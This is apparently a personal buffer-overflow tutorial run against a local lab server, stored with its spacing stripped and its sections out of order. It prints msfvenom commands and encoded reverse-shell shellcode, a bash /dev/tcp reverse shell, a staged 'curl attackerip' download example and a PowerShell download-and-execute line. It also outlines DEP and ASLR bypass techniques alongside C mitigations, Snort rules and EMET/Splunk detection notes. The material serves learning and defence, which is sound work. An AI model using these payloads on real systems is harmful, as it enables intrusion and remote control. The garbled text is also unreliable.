msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

